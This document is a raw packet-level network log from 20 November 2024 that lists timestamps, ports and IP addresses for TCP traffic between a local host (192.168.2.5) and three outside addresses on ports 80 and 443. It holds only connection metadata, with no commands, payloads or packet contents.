Nov 20, 2024 06:40:19.693147898 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.693206072 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.693212032 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.693253994 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.694135904 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.694160938 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.694207907 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.694216013 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.694252014 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.694271088 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.694494009 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.694557905 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.694566965 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.694581032 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.694611073 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.694638014 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.694665909 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.694684029 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.694696903 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.694703102 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.733000040 CET	49714	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.733027935 CET	443	49714	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.733227015 CET	49714	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.733908892 CET	49714	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.733935118 CET	443	49714	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.735197067 CET	49715	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.735238075 CET	443	49715	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.735301971 CET	49715	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.735439062 CET	49715	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.735455990 CET	443	49715	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.738655090 CET	49716	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.738744974 CET	443	49716	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.738825083 CET	49716	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.742605925 CET	49717	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.742657900 CET	443	49717	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.742731094 CET	49716	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.742767096 CET	443	49716	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.742798090 CET	49717	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.743676901 CET	49718	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.743700027 CET	443	49718	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.743768930 CET	49718	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.743855000 CET	49717	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.743856907 CET	49718	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.743875980 CET	443	49718	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.743880987 CET	443	49717	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.788885117 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.788925886 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.788959980 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.788980007 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.788992882 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.789026976 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.789036036 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.789060116 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.789094925 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.789103031 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.789329052 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.789359093 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.789375067 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.789395094 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.789449930 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.789460897 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.789494038 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.789527893 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.789535999 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.789562941 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.789604902 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.789613962 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.789645910 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.789680004 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.789689064 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.789710045 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.789741039 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.789753914 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.789792061 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.789824963 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.789834976 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.789980888 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.790014029 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.790030956 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.790046930 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.790079117 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.790088892 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.790112972 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.790144920 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.790154934 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.790178061 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.790210962 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.790220022 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.790246010 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.790281057 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.790290117 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.790699959 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.790750980 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.790752888 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.790786028 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.790818930 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.790826082 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.790852070 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.790884972 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.790895939 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.790919065 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.790951967 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.790971041 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.790986061 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.791018009 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.791027069 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.791050911 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.791070938 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.791238070 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.791662931 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.791712046 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.791713953 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.791749954 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.791783094 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.791800022 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.791815996 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.791848898 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.791863918 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.791882038 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.791913033 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.791930914 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.791946888 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.791979074 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.791989088 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.792012930 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.792048931 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.792057037 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.792566061 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.792598009 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.792617083 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.792633057 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.792682886 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.792701006 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.792733908 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.792766094 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.792777061 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.792849064 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.792882919 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.792898893 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.792916059 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.792948961 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.792958975 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.792982101 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.793018103 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.793023109 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.793495893 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.793529034 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.793551922 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.793564081 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.793597937 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.793612957 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.821929932 CET	49719	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:40:19.821945906 CET	443	49719	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:19.822007895 CET	49719	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:40:19.824261904 CET	49719	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:40:19.824276924 CET	443	49719	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:19.840424061 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.875478983 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.875560999 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.875612020 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.875616074 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.875672102 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.875708103 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.875720978 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.875744104 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.875776052 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.875785112 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.875808954 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.875844002 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.875863075 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.875895023 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.875930071 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.875943899 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.875983953 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.876015902 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.876028061 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.876049995 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.876081944 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.876090050 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.876116991 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.876148939 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.876157999 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.876200914 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.876229048 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.876247883 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.876260996 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.876296997 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.876317024 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.877094984 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.877127886 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.877141953 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.877163887 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.877214909 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.921679020 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.921703100 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.921720982 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.921758890 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.921789885 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.921817064 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.921833038 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.921842098 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.921855927 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.921874046 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.921881914 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.921896935 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.921914101 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.921920061 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.921931028 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.921960115 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.922146082 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922161102 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922175884 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922192097 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922202110 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.922207117 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922221899 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.922224045 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922239065 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922250986 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.922255039 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922283888 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.922303915 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922332048 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922348022 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922363043 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922363043 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.922379971 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922385931 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.922424078 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.922676086 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922692060 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922707081 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922722101 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922734022 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.922740936 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922755957 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922765017 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.922771931 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922787905 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.922801018 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.922832012 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.929716110 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.929766893 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.929800987 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.929811001 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.929835081 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.929868937 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.929874897 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.929902077 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.929938078 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.929949045 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.929970980 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930003881 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930011034 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.930037975 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930069923 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930083036 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.930105925 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930150032 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.930177927 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930228949 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930263042 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930277109 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.930299044 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930342913 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.930352926 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930387020 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930419922 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930425882 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.930453062 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930489063 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930500031 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.930509090 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.930525064 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930558920 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930578947 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.930612087 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930646896 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930659056 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.930680037 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930716038 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930721045 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.930748940 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930783033 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930793047 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.930815935 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930849075 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930864096 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.930882931 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930916071 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930939913 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.930948973 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.930991888 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.931000948 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931034088 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931076050 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.931085110 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931117058 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931149960 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931159973 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.931184053 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931219101 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931226015 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.931251049 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931288004 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931297064 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.931353092 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931386948 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931396008 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.931420088 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931454897 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931463957 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.931488037 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931521893 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931525946 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.931555986 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931588888 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931596041 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.931621075 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931658030 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931665897 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.931687117 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.931734085 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.936574936 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.936686993 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.936737061 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.936738014 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.936773062 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.936805010 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.936820030 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.936839104 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.936872959 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.936886072 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.936908007 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.936955929 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.962472916 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.962506056 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.962539911 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.962552071 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.962708950 CET	80	49713	185.215.113.16	192.168.2.5
